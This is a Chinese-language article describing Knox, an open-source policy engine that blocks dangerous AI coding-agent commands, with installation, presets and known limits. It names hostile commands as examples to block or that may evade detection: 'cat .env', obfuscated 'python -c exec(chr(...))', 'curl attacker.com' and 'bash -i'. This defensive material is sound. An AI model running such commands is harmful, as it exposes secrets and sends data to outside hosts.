Knox – 在AI代理工具調用執行前進行安全治理
Knox是一個為AI編碼代理設計的安全策略引擎,以CLI、Node庫、Claude Code插件、Cursor插件和OpenAI Codex插件五種形式發佈,共享同一規則集。它能在代理執行危險命令前實時攔截,提供審計日誌、提示注入掃描和策略防篡改等功能。文章詳細介紹了安裝方式、各平台能力矩陣、已知限制及自定義配置方法。
Knox是一個開源的AI編碼代理安全策略引擎,由Qoris開發,旨在為開發者代理會話和企業級AI工作提供安全治理。該項目以單一源碼樹構建五種分發形式:獨立CLI、Node.js庫、Claude Code插件、Cursor插件和OpenAI Codex插件,共享同一套規則集。用户可根據使用場景選擇最適合的表面。
核心功能與能力矩陣
Knox的核心是實時攔截代理的工具調用。它在代理執行任何命令之前,通過鈎子機制(hooks)對命令進行策略檢查。不同表面支持的功能略有差異:CLI和庫僅提供檢查功能(如knox check程序化決策和knox test人類可讀測試),但無法阻止代理運行命令;而插件版本(Claude Code、Cursor、Codex)則能實現實時阻止、自動審計日誌、提示注入掃描和策略防篡改。其中,Claude Code插件支持最全面的功能,包括子代理上下文注入和定時任務提示掃描。
安裝與使用
安裝過程因表面而異。CLI可通過npm install -g @qoris/knox全局安裝,隨後使用knox status確認。Claude Code插件通過官方插件市場安裝。Cursor和Codex插件則需先安裝CLI,再運行knox install --target cursor或knox install --target codex來手動寫入鈎子文件。注意,由於Codex的一個未解決bug,插件管理器的開關無法真正解除Knox,必須運行knox uninstall --target codex才能完全移除。
預設規則與自定義配置
Knox內置三種預設:標準(standard)、嚴格(strict)和禁用(disabled)。標準模式平衡安全性和開發效率,嚴格模式則實施更激進的阻斷策略。用户可通過項目根目錄的.knox.json配置文件自定義塊列表、覆蓋預設或調整特定檢查類別。例如,可添加規則阻止cat .env或外部網絡請求。
已知限制與誠實權衡
開發者明確指出了Knox的侷限性:它只是一個機械的模式過濾器,不具備語義意圖分析、數據流跟蹤或運行時行為檢測能力。新型惡意軟件、混淆內聯代碼(如python -c "exec(chr(...))")和通用外發調用(如curl attacker.com)可能繞過檢測。此外,某些場景如bash -i交互式shell啓動是合法開發行為,但若參數被精心構造也可能被濫用。Knox的設計哲學是作為模型防禦的第二道防線:模型負責判斷意圖,Knox負責捕獲模型在自主模式、外部MCP輸入或妥協的CLAUDE.md等情況下可能遺漏的危險命令,並提供審計線索。
企業級版本:Qoris Runtime Knox
除了開源版,Qoris還提供了企業版Qoris Runtime Knox,內置於Qoris工作容器中,管理24/7運行的AI工作器,涵蓋銷售、運營、合規和支持工作流。企業版支持共享內存治理、審批工作流、審計管道以及跨數百個併發工作器會話持久化的策略。
社區與貢獻
Knox在GitHub上開源,採用AGPL-3.0許可(但FOSS例外章節允許Claude Code插件等派生作品獨立許可)。項目當前有4個星標,35次提交,包含完整的測試套件和變更日誌。